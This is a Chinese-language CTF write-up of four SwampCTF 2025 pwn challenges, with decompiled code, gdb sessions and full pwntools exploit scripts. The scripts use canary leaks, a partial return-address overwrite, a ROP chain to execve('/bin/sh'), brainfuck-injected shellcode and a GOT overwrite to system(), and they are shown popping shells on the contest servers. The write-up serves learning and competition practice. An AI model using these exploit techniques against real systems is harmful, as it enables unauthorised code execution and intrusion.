SwampCTF2025-pwn

SwampCTF2025复现

pwn

Ohmybuffer

image-20250402160843930

main函数中读取flag并将其输出到/dev/null,然后使用memset清除flag,在子进程实现了三个操作:注册、登录、退出。

reg

void __cdecl reg()
{
  char buffer[16]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v1; // [rsp+18h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  write(1, "Username: ", 0xAuLL);
  read(0, buffer, 0x2AuLL);
  write(1, "Password: ", 0xAuLL);
  read(0, buffer, 0x2AuLL);
  write(1, "Sorry, registration isn't open right now!\n", 0x2AuLL);
}

实际功能是2字节的返回地址溢出,注意到返回地址在main中,意味着我们可以跳转到任意代码段。

login

void __cdecl login()
{
  int len; // [rsp+Ch] [rbp-24h] BYREF
  char buffer[16]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  write(1, "How long is your username: ", 0x1BuLL);
  __isoc99_fscanf(stdin, "%d", &len);
  write(1, "Username: ", 0xAuLL);
  read(0, buffer, 0x10uLL);
  write(1, "Sorry, we couldn't find the user: ", 0x22uLL);
  write(1, buffer, len);
}

没有对长度进行任何检查,我们可以读出栈上所有数据,从而泄露canary和heap地址。

在子进程中,flag存在heap中

image-20250401092713201

由于我们只能溢出两个字节,需要思考跳转到哪里才能实现目标。想到我们还可以控制rbp,尝试寻找相对于rbp加载地址的指令

很幸运,在login()中:

.text:000000000040139B 48 8D 45 E0                   lea     rax, [rbp+buffer]
.text:000000000040139F 48 89 C6                      mov     rsi, rax                        ; buf
.text:00000000004013A2 BF 01 00 00 00                mov     edi, 1                          ; fd
.text:00000000004013A7 E8 B4 FC FF FF                call    _write

将rbp改为flag地址+0x20,且由于之前的操作,rdx足够大以打印flag

攻击流程:

1.使用login()泄露大量栈数据

2.泄露canary和heap

3.修改rbp为heap+0x20+offset

4.修改返回地址为‘\x9b\x13’

5.win for flag!

exp

from pwn import *

context(arch='amd64',os='linux',log_level='debug')
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]
p = remote('chals.swampctf.com',40005)
def debug():
    gdb.attach(p)
    pause()

def reg(name,password):
    p.sendlineafter('> ',b'1')
    p.sendafter('Username: ',name)
    p.sendafter('Password: ',password)

def login(len,name):
    p.sendlineafter('> ',b'2')
    p.sendlineafter('How long is your username: ',len)
    p.sendlineafter('Username: ',name)

def logout():
    p.sendlineafter('> ',b'3')
#泄露canary和heap地址
login(b'200',b'a')
leak_data = p.recv(200)
print(leak_data)
canary = u64(leak_data[0x3a:0x3a+8].ljust(8,b'\x00')) 
heap = u64(leak_data[0x6a:0x6a+8].ljust(8,b'\x00')) 
print(hex(canary)) 
print(hex(heap))
#构造payload,将rbp改为flag_addr+0x20,返回地址改为0x40139b
payload =  b'a' * (0x20-8) + p64(canary)  + p64(heap+ 0x1e0 +0x20) + b'\x9b\x13'
debug()
print(payload)
reg(payload,payload)
p.interactive()

GreetingasaService

题目描述:

A friend of mine set up a greeting as a service server. He gave me a core dump of it to play around with but won't give me source. Find anything useful?

第一次做coredump相关题目,ida打开很乱,尝试用gdb分析

$ gdb -q -core ./coredump_GAAS1
pwndbg> bt
#0  0x00000000004011a3 in ?? ()
#1  0x00007ffff7de8083 in ?? ()
#2  0x00007ffff7ffc620 in ?? ()
#3  0x00007fffffffde68 in ?? ()
#4  0x0000000100000000 in ?? ()
#5  0x00000000004011a3 in ?? ()
#6  0x0000000000401240 in ?? ()
#7  0xbdeebaa290c7ef1c in ?? ()
#8  0x0000000000401090 in ?? ()
#9  0x00007fffffffde60 in ?? ()
#10 0x0000000000000000 in ?? ()

函数在上述位置崩溃,注意到0x4011a3出现了两次,可能是递归调用或者栈溢出将返回地址覆盖为0x4011a3,重复执行,非法地址可能是栈溢出导致的。地址1可能是libc地址,如libc_start_main(),合理猜测0x4011a3为main()函数,反汇编0x4011a3

pwndbg> x/33i 0x4011a3
=> 0x4011a3:    endbr64
   0x4011a7:    push   rbp
   0x4011a8:    mov    rbp,rsp
   0x4011ab:    sub    rsp,0x10
   0x4011af:    mov    rax,QWORD PTR [rip+0x2e9a]        # 0x404050
   0x4011b6:    mov    ecx,0x0
   0x4011bb:    mov    edx,0x2
   0x4011c0:    mov    esi,0x0
   0x4011c5:    mov    rdi,rax
   0x4011c8:    call   0x401080
   0x4011cd:    mov    rax,QWORD PTR [rip+0x2e6c]        # 0x404040
   0x4011d4:    mov    ecx,0x0
   0x4011d9:    mov    edx,0x2
   0x4011de:    mov    esi,0x0
   0x4011e3:    mov    rdi,rax
   0x4011e6:    call   0x401080
   0x4011eb:    mov    QWORD PTR [rbp-0xa],0x0
   0x4011f3:    mov    WORD PTR [rbp-0x2],0x0
   0x4011f9:    lea    rdi,[rip+0xe04]        # 0x402004
   0x401200:    mov    eax,0x0
   0x401205:    call   0x401060
   0x40120a:    lea    rax,[rbp-0xa]
   0x40120e:    mov    rdi,rax
   0x401211:    mov    eax,0x0
   0x401216:    call   0x401070
   0x40121b:    lea    rax,[rbp-0xa]
   0x40121f:    mov    rsi,rax
   0x401222:    lea    rdi,[rip+0xdee]        # 0x402017
   0x401229:    mov    eax,0x0
   0x40122e:    call   0x401060
   0x401233:    mov    eax,0x0
   0x401238:    leave
   0x401239:    ret

一共5次call,两次0x401080,两次0x401060,一次0x401070

分析可得,函数0x401080可能是void func(long? a, int b, int c, int d);两次调用中,b=0、c=2、d=0,a如下

pwndbg> x/10gx 0x404050
0x404050:       0x00007ffff7fb0980      0x0000000000000000
0x404060:       0x0000000000000000      0x0000000000000000
0x404070:       0x0000000000000000      0x0000000000000000
0x404080:       0x0000000000000000      0x0000000000000000
0x404090:       0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x00007ffff7fb0980
0x7ffff7fb0980: 0x00000000fbad2088      0x0000000000000000
0x7ffff7fb0990: 0x0000000000000000      0x0000000000000000
0x7ffff7fb09a0: 0x0000000000000000      0x0000000000000000
0x7ffff7fb09b0: 0x0000000000000000      0x0000000000000000
0x7ffff7fb09c0: 0x0000000000000000      0x0000000000000000

fbad2088通常是FILE结构体的magic number,所以0x401080可能是stdin/std/out/stderr等函数,结合参数猜测是setvbuf:int setvbuf(FILE *stream, char *buf, int mode, size_t size)

image-20250401160705506

结合远程交互,发现程序进行了两次输出和一次输入,推测0x401060为输出函数,0x401070为输入函数,在尝试读入时发现程序接受很长的输入也不会崩溃,遇到换行符停止,即gets函数,输出函数应为printf将我们的输入格式化输出

由此栈溢出漏洞,我们可以构造:syscall read(),输入‘/bin/sh’,syscall execve()

exp

from pwn import *

pop_rdi = 0x0000000000401194
pop_rsi = 0x0000000000401196
pop_rax = 0x0000000000401188
pop_rdx = 0x0000000000401198
syscall = 0x0000000000401190
data_addr = 0x404060
gets = 0x401070

p = remote("chals.swampctf.com", 40003)
payload = b'a' * 0xa + b'b' * 8 + p64(pop_rdi) + p64(data_addr) + p64(gets) + p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(data_addr + 16) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
binsh = p64(data_addr + 16) + p64(0) + b'/bin/sh\x00'
p.sendline(payload)
p.sendline(binsh)
p.interactive()

flag

[+] Opening connection to chals.swampctf.com on port 40003: Done
[*] Switching to interactive mode
What is your name?Hello, aaaaaaaaaabbbbbbbb\x94\x11@!
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
$ ls
flag.txt
run
$ cat flag.txt
swampCTF{t1m3_t0_s@y_g00dby3}

Tinybrain

题目描述:

Optimized for the minimum footprint... if you ignore the jump tables...

Note: bf should be called with a file. The remote runs a script that is not provided, of which makes a file from your input.

BrainFuck

brainfuck是一个小巧的编程语言,只有8条指令:

字符 含义
> 指针加一
< 指针减一
+ 指针指向的字节的值加一
- 指针指向的字节的值减一
. 输出指针指向的单元内容(ASCII码)
, 输入内容到指针指向的单元(数值)
[ 如果指针指向的单元值为零,向后跳转到对应的]指令的指令处
] 如果指针指向的单元值不为零,向前跳转到对应的[指令的指令处

尝试调试它

$ gdb --args bf payload
pwndbg> start
 ► 0x401000    lea    r13, [0x403800]                 R13 => 0x403800 ◂— 0
   0x401008    xor    r14, r14                        R14 => 0
   0x40100b    mov    rdi, qword ptr [rsp + 0x10]     RDI, [0x7fffffffdbe0] => 0x7fffffffde90 ◂— 0x64616f6c796170 /* 'payload' */
   0x401010    mov    eax, 2                          EAX => 2
   0x401015    xor    esi, esi                        ESI => 0
   0x401017    xor    edx, edx                        EDX => 0
   0x401019    syscall  <SYS_open>
   0x40101b    mov    r12, rax
   0x40101e    call   0x40102a                    <0x40102a>

可以看到,通过SYS_open打开文件payload,然后调用0x40102a,分析0x40102a

   0x40102a    inc    r14                         R14 => 2
   0x40102d    xor    eax, eax                    EAX => 0
   0x40102f    mov    rdi, r12                    RDI => 3
   0x401032    lea    rsi, [rsp - 1]              RSI => 0x7fffffffdbc7 ◂— 0x40102366
   0x401037    mov    byte ptr [rsi], 0           [0x7fffffffdbc7] => 0
   0x40103a    mov    edx, 1                      EDX => 1
   0x40103f    syscall  <SYS_read>
 ► 0x401041    movzx  eax, byte ptr [rsp - 1]     EAX, [0x7fffffffdbc7] => 0x6c
   0x401046    ret                                <0x401023>
    ↓
   0x401023    jmp    qword ptr [rax*8 + 0x402000] <0x40101e>
    ↓
   0x40101e    call   0x40102a                    <0x40102a>

逐字节读取文件放入eax中,用于ret之后的跳转表[rax*8 + 0x402000],其中大部分是nop,只有是><+-.,[]时会执行相关操作(即brainfuck的8条指令)

查看寄存器

*RAX  0x6c
 RBX  0
 RCX  0x401041 ◂— movzx eax, byte ptr [rsp - 1] /* 0x8348c3ff2444b60f */
 RDX  1
 RDI  3
 RSI  0x7fffffffdbc7 ◂— 0x4010236c
 R8   0
 R9   0
 R10  0
 R11  0x346
 R12  3
 R13  0x403800 ◂— 0
 R14  2
 R15  0
 RBP  0
 RSP  0x7fffffffdbc8 —▸ 0x401023 ◂— jmp qword ptr [rax*8 + 0x402000] /* 0x4900402000c524ff */
*RIP  0x401046 ◂— ret  /* 0x4528412ce88348c3 */

R13指向程序内存,发现程序内存可读可写可执行

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
          0x401000           0x404000 rwxp     3000   1000 /home/yui/STUDY/pwn/ctf/swampctf/Tinybrain/bf
    0x7ffff7ff9000     0x7ffff7ffd000 r--p     4000      0 [vvar]
    0x7ffff7ffd000     0x7ffff7fff000 r-xp     2000      0 [vdso]
    0x7ffffffdd000     0x7ffffffff000 rw-p    22000      0 [stack]

通过brainfuck指令将shellcode写入程序内存,然后修改0x402000('\x00'对应的跳转表)为shellcode首地址,在最后加上'\x00'和q,即可执行我们想要的shellcode

exp

#!/usr/bin/env python3
from pwn import *

context(arch='amd64', os='linux')

# 标准execve("/bin/sh") shellcode (27字节)
shellcode = asm(shellcraft.sh())

# Brainfuck指令定义
ptr_inc = b">"
ptr_dec = b"<"
data_inc = b"+"
data_dec = b"-"

payload = b""

# 阶段1: 写入shellcode到内存(从0x403800开始)
for byte in shellcode:
    # 用'+'递增到目标字节值
    payload += data_inc * byte
    # 移动到下一个内存单元
    payload += ptr_inc

# 阶段2: 移动指针到跳转表位置(0x402000)
offset = 0x403800 - 0x402000
payload += ptr_dec * (offset + len(shellcode))

# 阶段3: 修改跳转表指针(假设需要修改为0x403800)

for i in range(0xac):
    payload += data_dec

payload += ptr_inc

for i in range(0x28):
    payload += data_inc

# 阶段4: 触发执行(根据目标程序可能需要特殊字符)
payload += b"\x00"
payload += b"q"

with open("payload", "wb") as f:
    f.write(payload)

target = remote("chals.swampctf.com", 41414)

target.sendline(payload)
target.interactive()

flag

[+] Opening connection to chals.swampctf.com on port 41414: Done
[*] Switching to interactive mode
Insert brainfuck instructions (q to finish):
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
$ ls
bf
flag.txt
run
$ cat flag.txt
swampCTF{1_W4s_re4L1y_Pr0ud_of_th15_b1N}

Notecard

题目描述

I wrote a service that allows students to create and retrieve their own notecards! What do you think?

菜单题,先看main()函数

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  _QWORD *v3; // [rsp+18h] [rbp-18h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  printf("Welcome to Note! Your one stop shop for all notecard needs!\n");
  v3 = alloc();
  menu((__int64)v3);
}

alloc()创建几个chunk,然后将其指针存入数组中

_QWORD *alloc()
{
  __int128 v0; // xmm0
  _QWORD *v2; // [rsp+10h] [rbp-40h]
  int i; // [rsp+1Ch] [rbp-34h]
  __int128 v4[2]; // [rsp+20h] [rbp-30h]
  __int64 v5; // [rsp+40h] [rbp-10h]
  unsigned __int64 v6; // [rsp+48h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  for ( i = 0; i < 5; ++i )
    *((_QWORD *)v4 + i) = malloc(0x28uLL);
  v2 = malloc(0x28uLL);
  v2[4] = v5;
  v0 = v4[0];
  *((_OWORD *)v2 + 1) = v4[1];
  *(_OWORD *)v2 = v0;
  return v2;
}

menu()

void __fastcall __noreturn menu(__int64 a1)
{
  char v1; // [rsp+3Bh] [rbp-45h] BYREF
  int v2; // [rsp+3Ch] [rbp-44h] BYREF
  char s[24]; // [rsp+40h] [rbp-40h] BYREF
  void (__fastcall __noreturn *v4)(); // [rsp+58h] [rbp-28h]
  unsigned __int64 (__fastcall *v5)(__int64); // [rsp+60h] [rbp-20h]
  unsigned __int64 (__fastcall *v6)(__int64); // [rsp+68h] [rbp-18h]
  __int64 v7; // [rsp+78h] [rbp-8h]

  v7 = a1;
  memset(s, 0, 0x30uLL);
  v1 = 121;
  while ( v1 != 110 )
  {
    puts("Please enter your name:");
    gets(s);
    printf("Your name is ");
    puts(s);
    printf("\nChange it? (y/n)?\n");
    __isoc99_scanf("%c", &v1);
    __isoc99_scanf("%c", &unk_4079);
  }
  v4 = sub_1270;
  v5 = sub_1290;
  v6 = sub_1340;
  printf("Hello %s!\n", s);
  while ( 1 )
  {
    printf("0 - exit\n1 - read\n2 - write\n> \n");
    __isoc99_scanf("%d", &v2);
    __isoc99_scanf("%c", &unk_4079);
    v2 &= 3u;
    if ( v2 )
    {
      if ( v2 == 1 )
      {
        v5(v7);
      }
      else if ( v2 == 2 )
      {
        v6(v7);
      }
    }
    else
    {
      printf("Goodbye ");
      puts(s);
      ((void (__fastcall *)(_QWORD))v4)(0LL);
    }
  }
}

程序使用gets()读取name,可以溢出返回地址或泄露栈上数据

read和write均未对负数索引进行检查

unsigned __int64 __fastcall read_(__int64 a1)
{
  int v2; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Notecard number (0 - 4): ");
  __isoc99_scanf("%d", &v2);
  __isoc99_scanf("%c", &unk_4079);
  if ( v2 <= 4 )
    puts(*(const char **)(a1 + 8LL * v2));
  else
    printf("You are using the free version of Note and only have 5 note cards!\n");
  return __readfsqword(0x28u);
}

unsigned __int64 __fastcall write_(__int64 a1)
{
  int v2; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Notecard number (0 - 4): ");
  __isoc99_scanf("%d", &v2);
  __isoc99_scanf("%c", &unk_4079);
  if ( v2 <= 4 )
    read(0, *(void **)(a1 + 8LL * v2), 0x28uLL);
  else
    printf("You are using the free version of Note and only have 5 note cards!\n");
  return __readfsqword(0x28u);
}

思路是向note4写入puts_got,通过read(-6)泄露puts_got从而泄露libc

6c123e03bfab397b7584e293840efaa

   0x5555555553b1    xor    edi, edi                         EDI => 0
   0x5555555553b3    mov    rax, qword ptr [rbp - 0x18]      RAX, [0x7fffffffd9e8] => 0x555555559390 —▸ 0x5555555592a0 ◂— 0
   0x5555555553b7    movsxd rcx, dword ptr [rbp - 0xc]       RCX, [0x7fffffffd9f4] => 4
 ► 0x5555555553bb    mov    rax, qword ptr [rax + rcx*8]     RAX, [0x5555555593b0] => 0x555555559360 ◂— 0
   0x5555555553bf    mov    rsi, rax                         RSI => 0x555555559360 ◂— 0
   0x5555555553c2    mov    edx, 0x28                        EDX => 0x28
   0x5555555553c7    call   read@plt                    <read@plt>

rcx为-6恰好使rsi指向0x555555559360,即写入的puts_got

之后修改puts_got为system地址,在函数退出时执行system(name)

    else
    {
      printf("Goodbye ");
      puts(name);
      ((void (__fastcall *)(_QWORD))v4)(0LL);
    }

只需要将输入改为cat flag*;...即可执行system(cat flag * ;)输出flag

流程:

1.栈溢出泄露.test段

2.将puts_got写入note4

3.泄露puts_got

4.使用在线网站查找使用的libc版本

5.将system_addr覆盖puts_got

6.exit()从而调用system(cat flag * 😉

exp

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]

#p = process("./notecard")
p = remote("chals.swampctf.com",40002)

def debug():
    gdb.attach(p)
    pause()
def read(index):
    p.sendlineafter("0 - exit\n1 - read\n2 - write\n> \n", b"1")
    p.recvuntil("Notecard number (0 - 4): ")
    p.sendline(str(index))
def write(index, data):
    p.sendlineafter("0 - exit\n1 - read\n2 - write\n> \n", b"2")
    p.recvuntil("Notecard number (0 - 4): ")
    p.sendline(str(index))
    p.sendline(data)
def exit1():
    p.sendlineafter("0 - exit\n1 - read\n2 - write\n> \n", b"0")
    
p.recvuntil(b"name:")

p.sendline(b"cat flag*;" + b"a" * 0x23)

print(p.recv(0x48+8))
p.recvline()
#debug()
time.sleep(1)
p.sendline(b"n")
p.recvline()
p.recvline()
leak = p.recvline()[30:-2] + b"\x00\x00"
print(hex(u64(leak)))
base = u64(leak) - 0x1270
print(hex(base))

put_got = base + 0x4018
write(4, p64(put_got))
read(-6)
p.sendline(p64(put_got))
#debug()
puts_leak = p.recvline()[:-1] + b"\x00\x00"
print(puts_leak)
print(hex(u64(puts_leak)))
system_addr = u64(puts_leak) - 0x2f490
print(hex(system_addr))
write(-6, p64(system_addr))
p.sendline(b"0")

p.interactive()
posted @ 2025-04-02 19:05  miffya  阅读(63)  评论(0)    收藏  举报